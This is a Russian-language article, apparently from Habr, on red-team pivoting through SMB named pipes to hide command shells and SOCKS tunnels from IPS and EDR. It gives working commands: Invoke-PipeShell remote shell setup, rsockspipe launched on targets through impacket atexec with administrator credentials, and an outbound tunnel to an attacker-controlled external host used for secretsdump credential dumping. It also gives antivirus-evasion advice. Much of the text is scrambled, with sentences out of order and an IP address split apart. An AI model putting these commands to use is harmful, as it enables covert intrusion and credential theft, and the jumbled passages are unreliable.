Хабрахабр

Используем пайпы для пивотинга

Ни для кого не секрет, что корпоративные IPS становятся все умнее и умнее. Сейчас уже никого не удивишь IPS с SSL-митмом на периметре сети или даже внутри корпоративной сети между сегментами. В то же время, по-мимо всем известных IPS, стали появляться и распространяться различные EDR-решения, которые уже непосредственно на хостах смотрят за устанавливаемыми соединениями. В связи с этим порядочному RedTeam специалисту с каждым днем все труднее и труднее скрываться от вездесущего взгляда BlueTeam. Приходится становиться все изобретательнее в своей нелегкой работе.

Можно спрятаться внутри них и замаскироваться под легитимный трафик. Одним из решений для маскировки наших «более полезных деструктивных действий»(с) внутри корпоративных сетей может послужить использование протоколов SMB или RDP. Там ребята также с большим успехом использовали SMB протокол для передачи управляющих команд своим агентам. В этом ничего особо нового нет и техника маскировки внутри SMB используется со времен знаменитых APT-компаний Duqu и Sauron. После этого данную технику переняли разработчики Metasploit и Cobalt Strike.

В данной статье мы рассмотрим варианты использования протокола SMB для пивотинга, а RDP уже оставим на потом.

Используем SMB

Итак, давайте разберем, что же такого прекрасного в использовании SMB для пивотинга.

SMB — это практически родной протокол microsoft, то и в корпоративных сетях с windows он используется повсеместно и очень много где. Во-первых, это широкое распространение. Очень удобно. Тут тебе и DFS, и обновления различные, и принтеры и много-много всего-всего.

Всему виной участившиеся случаи фишинга и релеинга с использованием ссылок типа file://x.x.x.x, \\x.x.x.x\ и т.д. Правда, за пределы корпоративной сети, а уж тем более снаружи внутрь 445-й TCP порт сейчас частенько стали закрывать на фаерволах. И конечно не забудем про WannaCry, которая заставила многие организации закрыть торчащий наружу порт.

Т.е. Во-вторых, в современных системах, типа Win10/Win2016 и выше информация, передаваемая внутри протокола SMB, точнее уже SMB3 шифруется по умолчанию. передавая ваш любимый сплоит внутри SMB можно смело быть спокойным, что корпоративные IPS его не заметят (спасибо Micosoft за это!).

К примеру, строка вида \\192. В-третьих, протокол SMB предоставляет удобный механизм так-называемых пайпов (SMB pipes) — это фактически те же именованные пайпы, только доступные по сети. 1. 168. Как раз с ним и работает atexec из фреймворка impacket для создания задач по выполнению команд в windows. 10\pipe\atsvc — это пайп службы scheduled tasks.

Посмотреть все открытые пайпы на вашей системе можно с помощью утилиты от Sysinternals: pipelist.exe (pipelist64.exe) или через тот же powershell:

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

Погружение

Итак, давайте посмотрим, как мы можем использовать SMB пайпы для наших, «более полезных деструктивных действий».

Мы хотим использовать пайпы для скрытной связи с нашим командным шеллом.
Суть в том, что мы запускаем на целевой машине своего агента или шелл, а связь с ним держим через протокол SMB.

К примеру, в метасплоите есть специальные пейлоды для работы c пайпами:
meterpreter_bind_named_pipe
bind_named_pipe

Но, конечно же, все мы хорошо знаем, что использовать msf пейлоды в ходе боевого пентеста/редтима совсем небезопасно и настоящие тру-хакеры используют кастомный инструментарий, как говорится — от греха подальше… С помощью них вы можете без труда «повесить» ваш listener (будь то meterpreter или обычный командный шелл) на named pipe, тем самым скрыв его от зорких глаз админа безопасности.

В сети существует много примеров по использованию пайпов в качестве канала для коммуникации с С2. Альтернативой для msf в качестве командного шелла может являться наш старый-добрый помощник — powershell.

Она работает в режиме сервер-клиент и шифрует весь свой трафик 256-битным AES-ключом. Один из них — это утилита Invoke-PipeShell от команды Threatexpress.

На сервере мы запускаем:

Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30

На клиенте запускаем:

Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000

Естественно, наш клиент должен быть авторизован на сервере, так что не забудьте сначала провести авторизацию:

net use \\targetserver.domain.com\IPC$ /user:admin Password1

После удачного подключения мы получаем полноценную Powershell консоль. Все подробности по работе с этим инструментом, как и сам код можно почерпнуть на гите.

Это вроде понятно. Хорошо. К примеру, если на периметре сети открыт только 445-й порт (а бывает и такое...) или соединения наружу от нашего туннелера по SSL беспощадно блокируются корпоративным фаерволом, а вот протокол SMB почему-то закрыть забыли. Теперь давайте подумаем, как нам сделать пивотинг внутрь целевой сети через SMB пайпы. Первое, что приходит в голову — это тот же meterpreter со стейджингом через пайпы. В этом случае нам необходимо пробросить внутри пайпа полноценный TCP-туннель для того, чтобы мы могли работать с внутренними ресурсами целевой сети. Подробности здесь мы рассматривать не будем, т.к. Он прекрасно умеет это делать. Желающие могут почитать инструкцию к metasploit, или посмотреть короткую версию здесь. тут все стандартно и по мануалу.

Поэтому, давайте посмотрим, что у нас есть еще для пивотинга через пайпы… О недостатках meterpreter мы уже упоминали выше.

После беглого гугления по теме туннелинга через пайпы помимо meterpreter нашлись только Cobalt Strikeи разработка от DxFlatLine.

Первый вариант, во-первых, платный, а во-вторых — ему присущи все те же недостатки, что и meterpreter.

Второй вариант сделан в качестве PoC, работает только в однопоточном режиме и дает туннелировать только одно соединение — т.е., как вы можете догадаться, тоже не вариант для постоянного применения на практике.

И что делать?

Немного подумав над проблемой, мы решили… А почему бы нам не адаптировать нашу прошлую разработку Rsockstun, о которой мы уже писали, под работу с пайпами? Тем более, что архитектура приложения позволяет это сделать с легкостью. Вместо подключения по TCP мы будем использовать подключение по SMB. Это даже упрощает работу утилиты: не надо беспокоиться о SSL, подключении через прокси-сервер и т.д. Оставим только вариант с изначальной авторизации клиента на сервере по паролю, т.к. пайпы — это общедоступная сущность, и, соответственно, читать и писать в них может не только наш туннелер, но и другой софт, в том числе и удаленно.

Желающие могут изучить ее на примере metasploit модулей scanner/smb/pipe_auditor и scanner/smb/pipe_rpc_auditor. Права доступа к пайпам, а также сканирование и энумерация пайпов на удаленной машине — это отдельная тема для разговоров.

Для работы с пайпами из Go мы будем использовать библиотеку npipe

Работа через данную библиотеку принципиально не отличается от работы через стандартные механизмы Net: те же функции net. Она сделана достаточно давно и хорошо зарекомендовала себя в различных проектах. Listen, net. Dial, net. Accept.

Подробнее про необходимость мультиплексирования внутри TCP и сам yamux вы можете почитать в нашей прошлой статье про rsockstun. Для мультиплексирования нескольких подключений внутри одного пайпа, как и в прошлый раз, мы будем использовать мультиплексор Yamux и socks5 — прокси-сервер.

Это сделано для того, чтобы туннель можно было строить как снаружи вовнутрь целевой сети, так и обратно… Еще одним отличием и доработкой версии с пайпами, по сравнению с rsockstun, будет то, что теперь yamux-server и соответственно, socks5-proxy могут быть запущены на обоих концах туннелера (правда не одновременно, а либо там, либо там).

А теперь как обычно — нюансы

Рисунок 1 — Дамп трафика работы туннелера на Windows 7

Здесь красная зона — это этап авторизации, зеленая — открытие пайпа, а синяя — непосредственно передача информации. На рисунке 1 показано, как будет выглядеть работа нашего туннелера в случае, если хотя бы один из его концов работает на Windows 7. Фактически это означает, что все что мы передаем внутри туннеля — будет видно открытым текстом: Так же необходимо обратить внимание на то, что используется протокол SMBv2.

В отличие от Win7, на Windows10 используется шифрование данных внутри протокола SMB3:

Как мы видим — ни имени пайпа, ни данных внутри туннеля открытым текстом не передается.

Проверить, работает ли на Вашей системе SMB3 шифрование можно через стандартный powershell cmdlet Get-SmbServerConfiguration

И при выключенном шифровании — так же просто его активировать:

Однако, не всегда мы можем быть уверенными, что шифрование внутри SMB будет включено по умолчанию, а включать его на чужом сервере или сети — не самая хорошая идея…

Причем у нас не стоит задача надежно зашифровать так, чтобы расшифровать могли только на суперкомпьютере АНБ, а всего лишь спрятать сигнатуры трафика внутри туннелера от IPS. В связи с этим нам необходимо предусмотреть в нашем туннелере режим, который позволил бы зашифровать трафик внутри нашего туннеля. В связи с этим мы будем использовать простой XOR с небольшим ключом для маскировки нашего трафика, что позволит нам экономить ресурсы процессора и практически не повлияет на скорость передачи.

Чтобы не создавать лишний сетевой уровень, ответственный за шифрование трафика, мы внесем функционал непосредственно в состав модуля yamux, ответственного за передачу полезной нагрузки (модуль stream.go, и функции Read и Write):

func xoring(istr *[]byte, key string)
}

После внесения изменений наш GET запрос уже не так хорошо виден в трафике:

Один, два, три… Пуск!

Итого, варианты запуска и соответственно применения нашего туннелера будут такими:

Например, когда наружу торчит 445-й порт и мы знаем креды для подключения: Вариант 1. Подключение снаружи внутрь сети и проброс Socks5 соединения.

На внутреннем сервере через SMB подключение и утилиту impacket запускаем серверную часть rsockpipe:

./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"

На внешней (подконтрольной нам) Windows-машине запускаем клиентскую часть rsockspipe и после установления соединения используем её как socks5 proxy:

rsockspipe.exe -connect x.x.x.x\rsockspipename -socks y.y.y.y:1080 -pass Pass-word1234
proxychains secretsdump.py admin:Passw0rd@y.y.1.10

Вариант 2. Подключение изнутри наружу по протоколу SMB. Когда подключения наружу по всем web-протоколам жестко мониторятся, а про SMB админы почему-то позабыли…

Y. На внешней (подконтрольной нам) Windows машине (ip: Y. Y) запускаем клиентскую часть rsockspipe и ждем подключения клиентов: Y.

rsockspipe.exe -listen .\rsockspipename -socks y.y.y.y:1080 -pass Password1234

На сервере внутри целевой сети запускаем клиентскую часть (так же через impacket):

./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect Y.Y.Y.Y\rsockspipename -pass Password1234"

После удачного подключения можем пользоваться нашим сервером как soscks5:

proxychains secretsdump.py admin:Passw0rd@y.y.1.10

Тут есть одно замечание, особенно ко второму варианту. Помните, мы говорили, что для удачного подключения к пайпу мы должны быть авторизованы на серверной части, т.е. перед запуском туннелера нам необходимо пройти авторизацию. Сделать это можно так:

net use \\y.y.y.y\ipc$ /user:<usrname> <Password1>

Так вот… Во втором варианте использования команда net use запускается на целевой машине. А это означает что на целевой машине (в памяти процесса lsass) остаются креды от Вашей Windows машины. И если они будут админские (а как правило все начинающие хакеры работаю от админа...), то это может привести к «обратному привету» от BlueTeam… В общем, думаете, когда что-либо делаете…

Вместо заключения

В целом, туннелер получился достаточно неплохой… Главное, что готов к активному применению.
Исходный код, как и уже скомпилированные бинари под x86 и x64 расположены на нашем гите

Последнее время стали замечать, что Golang-софт, скомпилированный в режиме Win GUI (компиляция в режиме: go build -ldflags="-H windowsgui"), стал сильно палится некоторыми анти-вирусными решениями (KAV, SEP14). И Небольшое дополнение. Видимо, это из-за того, что Golang все-таки стал излюбленным средством малварщиков. Доходит уже до смешного — откомпилированный в GUI-режиме «Hello World» детектируется как зловред. Так что наш совет — компилировать проект в стандартном консольном режиме, а с черным cmf-окошком настоящий хакер знает, как справиться (в качестве подсказки — тот же impacket, например).

S. P. В дан-ном случае она наиболее точно описывает суть работы RedTeam специалистов. «Более полезные деструктивные действия» — формулировка Д.Самарцева — директора компании BiZone.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть